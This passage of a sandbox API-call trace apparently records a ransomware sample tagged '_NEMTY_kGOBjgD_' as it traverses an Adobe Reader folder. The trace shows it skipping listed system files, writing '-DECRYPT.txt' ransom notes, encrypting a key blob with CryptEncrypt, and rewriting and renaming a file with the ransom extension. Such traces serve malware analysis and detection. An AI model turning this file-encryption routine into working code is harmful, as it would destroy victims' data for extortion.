ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0179.223] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0179.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0179.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0179.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.226] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.226] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0179.227] CloseHandle (hObject=0x2e8) returned 1 [0179.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0179.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.228] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.228] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.228] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0179.229] CloseHandle (hObject=0x2e8) returned 1 [0179.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.229] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e76f8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e76f8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0179.229] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0179.229] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e76f8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e76f8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.229] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0179.229] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0179.229] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0179.230] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0179.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.231] Sleep (dwMilliseconds=0x5) [0179.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e7bbb70, dwHighDateTime=0x1d561e8)) [0179.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e7bbb70, dwHighDateTime=0x1d561e8)) [0179.242] GetLastError () returned 0xb7 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.242] GetLastError () returned 0xb7 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.242] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0179.242] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0179.242] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.242] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="ZTcfoqC0Qm2XrPQQ6DsrI8g1ES4H6kN1beIwa3DymD55I+Fdv4UrArbT9nlOewyZ\r\n7i1Cc8EHC8Z6NBYb7a6wePk7g2gDL5U9F3y67gdEMjF9Y62dHbaEcEVwN0OlaX23\r\nhvFw2+dXRm/tD+/pX2l4B0u9rjDhcVkK7Ga5aNof13gyMy7coeJp5Jx6LxBDEFNn\r\n42ykXlmcCZzVpi5VFk7qpehO5ZvCiEtOWhMa3St8OgbhhxfIYTcz+jR57kgINZxb\r\nHZk9hvQTMgrjEhxk4YgBRP/ZUCaEE/WCgsfwnZP6aXUKmw/uLY0pkdJCqzOgtlta\r\nR2mgiWVe4IGDiU6StqbwOA==\r\n", pcchString=0x653e29c) returned 1 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0179.243] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=41242) returned 1 [0179.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa110) returned 0x6352c48 [0179.243] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.243] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa110, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0xa110, lpOverlapped=0x0) returned 1 [0179.247] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.247] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa110, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0xa110, lpOverlapped=0x0) returned 1 [0179.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.248] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=41242, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa11a [0179.248] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0179.248] CloseHandle (hObject=0x2f0) returned 1 [0179.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.248] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.249] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0179.249] lstrcmpiW 